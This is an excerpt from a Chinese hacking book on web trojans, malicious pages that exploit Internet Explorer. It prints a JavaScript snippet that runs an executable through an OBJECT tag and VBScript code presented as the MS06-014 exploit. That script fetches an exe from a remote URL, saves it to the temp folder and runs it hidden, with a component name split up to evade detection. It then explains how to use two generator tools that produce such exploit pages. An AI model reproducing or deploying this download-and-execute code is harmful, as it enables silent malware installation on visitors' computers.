其实大部分网马都是利用IE的溢出漏洞进行越权操作的,按照微软的限制,IE在不经过用户同意的情况下,是不能下载和运行应用程序的。IE要显示网页,就要处理HTML标签或运行一些镶嵌在页面里的脚本代码,但是有些地方IE处理得并不是很完善,所以就会有溢出漏洞存在。***们就是利用漏洞修改IE的程序流程,让系统下载***并把它运行起来。
 
1. 网页***的工作流程
    用户不知情或受骗访问了含有网页***的网页,网页***利用IE漏洞或者一些脚本功能下载了一个可执行文件或脚本,如以下代码。
<script language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-
oleobject\""
run_exe+="CODEBASE=\"test.exe#version=1,1,1,1\">"
run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>网页加载中,请稍后....正在运行***</H1></HTML>";
document.open();
document.clear();
***ln(run_exe);
document.close();
</script>
    将上述代码保存为test.htm后,在相同目录里放置一个exe文件(***),并命名为“test.exe”。现在访问test.htm页面后,将会出现“网页加载中,请稍候……正在运行***”的提示,稍候,test.exe将被运行。这种方式在打开IE时本地和远程都会提示,稍有些安全意识的人都不会上当,可事实上,这种方法仍然会使很多极不小心的人上当。这个流程较为经典。
    接下来我们再来看一段代码。
<script language="VBScript">
on error resume next
dl = "[url]http://www.xxx.com/test.exe[/url]"   //网络中的***地址
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="gold.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
    上述代码就是ms06014的利用代码,综合以上,大致可以看出,网页***的基础就是非法让用户在不知觉的情况下下载并运行非法程序以谋取自己的非法利益。在网页***的历史上,影响重大的还有MHT漏洞,即Windows在处理畸形MHTML,这些都能使用户执行任意脚本代码。
    一些对脚本较有研究的人在研究出漏洞的触发机制并成功地制作出漏洞页面以后,编写了网马生成器,稍稍懂点电脑的人们只要点击几下鼠标就可以生成自己的网马,过程十分简单。在本节中,将会介绍到两款网马生成器,它们是MS06014JS版网马生成器和短小精悍的网马生成器。2006年,微软的第14个漏洞出现在IE浏览器上,这是一个比较严重的漏洞——MS06014漏洞,所以2006年的网马基本上都是基于这个漏洞而编制的。
    为了测试***,让效果明显一些,这里,我们用一个应用程序——本程序来充当用户下载并执行的***。
    把C:\Windows\System32目录下的notepad.exe文件复制出来,放到C:\Inetpub\wwwroot里当作***,并把它改名为muma.exe。这里它的网址就是[url]http://127.0.0.1/muma.exe[/url],只要在访问***页面的时候能打开***程序(这里是记事本),就说明网马运行成功了。
 
2. MS06014 JS版网马生成器
    这是由火狐技术联盟的SubSeven根据MS06014漏洞编写的一款***生成器,程序的界面很简单,只有一个用来输入***地址的输入框和一个生成按钮。在***地址里输入***的网址[url]http://127.0.0.1/muma.exe[/url],单击“生成”按钮,如图3-1所示。
图3-1
    ***就被生成了,在***生成器所在的目录下,多了一个名为s7.htm的网页文件,把它复制到C:\Inetpub\wwwroot里。这个文件可以随便改名字,这里就不改了,如图3-2所示。
图3-2
    打开浏览器,浏览[url]http://127.0.0.1/s7.htm[/url]这个网页。在经过一段时间的代码执行之后,浏览器打开了记事本程序,漏洞利用成功,浏览者运行了***,如图3-3所示。
图3-3
 
3. 短小精悍的网马生成器
    短小精悍的网马生成器的“短小精悍”估计指的不是生成器的体积短小精悍,240KB的体积虽然不算很大,但绝对不算小,大概是指它所生成的***网页很短小精悍。
    这个生成器也是根据MS06014漏洞编写的,它的界面也很简单。在***下载url里输入想要让浏览者下载的***地址[url]http://127.0.0.1/muma.exe[/url],单击“生成网马”按钮就可以了,如图3-4所示。
图3-4
    单击“生成网马”按钮之后,在生成器的目录下会多出一个ms06014.htm网页文件,把它复制到IIS的目录C:\Inetpub\wwwroot里,在浏览器里访问这个页面,如图3-5所示。
图3-5
    成功地打开了记事本程序,漏洞利用成功,***成功运行。总体来说,网页***的制作并不复杂,它的重点往往是加密和隐藏。
 
本文节选自电子工业出版社2008年10月出版的《******实战进阶》